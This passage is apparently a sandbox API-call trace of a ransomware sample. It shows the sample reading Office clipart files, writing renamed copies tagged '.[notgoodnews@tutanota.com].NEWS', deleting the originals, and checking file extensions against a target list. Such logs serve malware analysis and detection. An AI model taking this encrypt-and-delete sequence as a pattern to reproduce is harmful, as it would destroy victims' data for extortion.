hTemplateFile=0x0) returned 0x188 [0240.249] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x2f2ff1c | out: lpFileSize=0x2f2ff1c*=2108) returned 1 [0240.249] CloseHandle (hObject=0x188) returned 1 [0240.250] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf")) returned 0x20 [0240.585] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0240.586] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0240.586] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0240.586] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0240.586] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0240.624] GetLastError () returned 0x0 [0240.624] ReadFile (in: hFile=0x3cc, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2f2fed4*=0x83c, lpOverlapped=0x0) returned 1 [0240.639] WriteFile (in: hFile=0x324, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x840, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2f2fc9c*=0x840, lpOverlapped=0x0) returned 1 [0240.642] ReadFile (in: hFile=0x3cc, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2f2fed4*=0x0, lpOverlapped=0x0) returned 1 [0240.643] WriteFile (in: hFile=0x324, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2f2fc9c*=0xec, lpOverlapped=0x0) returned 1 [0240.643] SetEndOfFile (hFile=0x324) returned 1 [0240.645] CloseHandle (hObject=0x324) returned 1 [0240.645] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0240.645] SetEndOfFile (hFile=0x3cc) returned 1 [0240.652] CloseHandle (hObject=0x3cc) returned 1 [0240.652] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0240.791] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf")) returned 1 [0240.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0240.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0240.793] lstrlenW (lpString=".doc") returned 4 [0240.793] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0240.793] lstrlenW (lpString=".docx") returned 5 [0240.793] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0240.793] lstrlenW (lpString=".pdf") returned 4 [0240.793] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0240.793] lstrlenW (lpString=".xls") returned 4 [0240.793] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0240.793] lstrlenW (lpString=".xlsx") returned 5 [0240.793] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0240.793] lstrlenW (lpString=".ppt") returned 4 [0240.794] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0240.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0240.794] lstrlenW (lpString=".zip") returned 4 [0240.794] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0240.794] lstrlenW (lpString=".rar") returned 4 [0240.795] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0240.795] lstrlenW (lpString=".bz2") returned 4 [0240.795] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0240.795] lstrlenW (lpString=".7z") returned 3 [0240.795] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0240.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0240.795] lstrlenW (lpString=".dbf") returned 4 [0240.795] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0240.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0240.795] lstrlenW (lpString=".1cd") returned 4 [0240.795] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0240.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0240.795] lstrlenW (lpString=".jpg") returned 4 [0240.796] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0240.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0240.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0240.796] lstrlenW (lpString=".doc") returned 4 [0240.796] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0240.796] lstrlenW (lpString=".docx") returned 5 [0240.796] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0240.796] lstrlenW (lpString=".pdf") returned 4 [0240.796] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0240.796] lstrlenW (lpString=".xls") returned 4 [0240.796] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0240.797] lstrlenW (lpString=".xlsx") returned 5 [0240.797] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0240.797] lstrlenW (lpString=".ppt") returned 4 [0240.797] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0240.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0240.797] lstrlenW (lpString=".zip") returned 4 [0240.797] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0240.797] lstrlenW (lpString=".rar") returned 4 [0240.797] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0240.797] lstrlenW (lpString=".bz2") returned 4 [0240.797] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0240.797] lstrlenW (lpString=".7z") returned 3 [0240.797] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0240.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0240.798] lstrlenW (lpString=".dbf") returned 4 [0240.798] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0240.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0240.798] lstrlenW (lpString=".1cd") returned 4 [0240.798] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0240.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0240.798] lstrlenW (lpString=".jpg") returned 4 [0240.798] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0240.799] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0240.799] lstrlenW (lpString="AN04174_.WMF") returned 12 [0240.799] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0240.827] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2f2ff1c | out: lpFileSize=0x2f2ff1c*=2636) returned 1 [0240.827] CloseHandle (hObject=0x384) returned 1 [0240.827] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf")) returned 0x20 [0240.827] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0240.828] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0240.828] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0240.828] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0240.828] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0240.835] GetLastError () returned 0x0 [0240.835] ReadFile (in: hFile=0x384, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2f2fed4*=0xa4c, lpOverlapped=0x0) returned 1 [0240.848] WriteFile (in: hFile=0x1cc, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2f2fc9c*=0xa50, lpOverlapped=0x0) returned 1 [0240.851] ReadFile (in: hFile=0x384, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2f2fed4*=0x0, lpOverlapped=0x0) returned 1 [0240.851] WriteFile (in: hFile=0x1cc, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2f2fc9c*=0xec, lpOverlapped=0x0) returned 1 [0240.851] SetEndOfFile (hFile=0x1cc) returned 1 [0240.860] CloseHandle (hObject=0x1cc) returned 1 [0240.860] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0240.860] SetEndOfFile (hFile=0x384) returned 1 [0240.867] CloseHandle (hObject=0x384) returned 1 [0240.867] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0240.868] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf")) returned 1 [0240.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0240.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0240.869] lstrlenW (lpString=".doc") returned 4 [0240.869] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0240.869] lstrlenW (lpString=".docx") returned 5 [0240.869] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0240.869] lstrlenW (lpString=".pdf") returned 4 [0240.869] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0240.869] lstrlenW (lpString=".xls") returned 4 [0240.869] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0240.869] lstrlenW (lpString=".xlsx") returned 5 [0240.869] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0240.869] lstrlenW (lpString=".ppt") returned 4 [0240.869] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0240.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0240.869] lstrlenW (lpString=".zip") returned 4 [0240.870] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0240.870] lstrlenW (lpString=".rar") returned 4 [0240.870] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0240.870] lstrlenW (lpString=".bz2") returned 4 [0240.870] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0240.870] lstrlenW (lpString=".7z") returned 3 [0240.870] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0240.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0240.870] lstrlenW (lpString=".dbf") returned 4 [0240.870] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0240.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0240.870] lstrlenW (lpString=".1cd") returned 4 [0240.871] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0240.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0240.871] lstrlenW (lpString=".jpg") returned 4 [0240.871] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0240.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0240.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0240.871] lstrlenW (lpString=".doc") returned 4 [0240.871] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0240.871] lstrlenW (lpString=".docx") returned 5 [0240.871] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0240.871] lstrlenW (lpString=".pdf") returned 4 [0240.871] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0240.872] lstrlenW (lpString=".xls") returned 4 [0240.872] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0240.872] lstrlenW (lpString=".xlsx") returned 5 [0240.872] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0240.872] lstrlenW (lpString=".ppt") returned 4 [0240.872] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0241.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0241.593] lstrlenW (lpString=".zip") returned 4 [0241.593] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0241.593] lstrlenW (lpString=".rar") returned 4 [0241.620] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0241.620] lstrlenW (lpString=".bz2") returned 4 [0241.620] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0241.621] lstrlenW (lpString=".7z") returned 3 [0241.621] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0241.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0241.621] lstrlenW (lpString=".dbf") returned 4 [0241.621] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0241.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0241.622] lstrlenW (lpString=".1cd") returned 4 [0241.622] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0241.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0241.622] lstrlenW (lpString=".jpg") returned 4 [0241.622] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0241.622] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0241.623] lstrlenW (lpString="AN04225_.WMF") returned 12 [0241.623] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0242.031] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x2f2ff1c | out: lpFileSize=0x2f2ff1c*=8492) returned 1 [0242.031] CloseHandle (hObject=0x3ac) returned 1 [0242.031] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf")) returned 0x20 [0242.283] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0242.283] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0242.284] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.284] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.284] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0242.577] GetLastError () returned 0x0 [0242.577] ReadFile (in: hFile=0x3ac, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2f2fed4*=0x212c, lpOverlapped=0x0) returned 1 [0242.804] WriteFile (in: hFile=0x3d0, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x2130, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2f2fc9c*=0x2130, lpOverlapped=0x0) returned 1 [0242.808] ReadFile (in: hFile=0x3ac, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2f2fed4*=0x0, lpOverlapped=0x0) returned 1 [0242.808] WriteFile (in: hFile=0x3d0, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2f2fc9c*=0xec, lpOverlapped=0x0) returned 1 [0242.808] SetEndOfFile (hFile=0x3d0) returned 1 [0242.809] CloseHandle (hObject=0x3d0) returned 1 [0242.815] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.815] SetEndOfFile (hFile=0x3ac) returned 1 [0242.822] CloseHandle (hObject=0x3ac) returned 1 [0242.823] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0242.824] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf")) returned 1 [0242.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0242.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0242.825] lstrlenW (lpString=".doc") returned 4 [0242.825] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.825] lstrlenW (lpString=".docx") returned 5 [0242.825] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0242.825] lstrlenW (lpString=".pdf") returned 4 [0242.825] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.825] lstrlenW (lpString=".xls") returned 4 [0242.825] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.825] lstrlenW (lpString=".xlsx") returned 5 [0242.825] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0242.825] lstrlenW (lpString=".ppt") returned 4 [0242.826] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0242.826] lstrlenW (lpString=".zip") returned 4 [0242.826] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.826] lstrlenW (lpString=".rar") returned 4 [0242.826] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.826] lstrlenW (lpString=".bz2") returned 4 [0242.826] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.826] lstrlenW (lpString=".7z") returned 3 [0242.826] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0242.827] lstrlenW (lpString=".dbf") returned 4 [0242.827] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0242.827] lstrlenW (lpString=".1cd") returned 4 [0242.827] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0242.827] lstrlenW (lpString=".jpg") returned 4 [0242.827] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0242.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0242.827] lstrlenW (lpString=".doc") returned 4 [0242.828] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.828] lstrlenW (lpString=".docx") returned 5 [0242.828] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0242.828] lstrlenW (lpString=".pdf") returned 4 [0242.828] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.828] lstrlenW (lpString=".xls") returned 4 [0242.828] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.828] lstrlenW (lpString=".xlsx") returned 5 [0242.828] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0242.828] lstrlenW (lpString=".ppt") returned 4 [0242.828] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0242.829] lstrlenW (lpString=".zip") returned 4 [0242.829] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.829] lstrlenW (lpString=".rar") returned 4 [0242.829] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.829] lstrlenW (lpString=".bz2") returned 4 [0242.829] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.829] lstrlenW (lpString=".7z") returned 3 [0242.829] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0242.829] lstrlenW (lpString=".dbf") returned 4 [0242.829] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0242.829] lstrlenW (lpString=".1cd") returned 4 [0242.830] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0242.830] lstrlenW (lpString=".jpg") returned 4 [0242.830] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.830] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0242.830] lstrlenW (lpString="AN04332_.WMF") returned 12 [0242.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0243.354] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x2f2ff1c | out: lpFileSize=0x2f2ff1c*=4296) returned 1 [0243.354] CloseHandle (hObject=0x3cc) returned 1 [0243.354] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf")) returned 0x20 [0243.354] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program 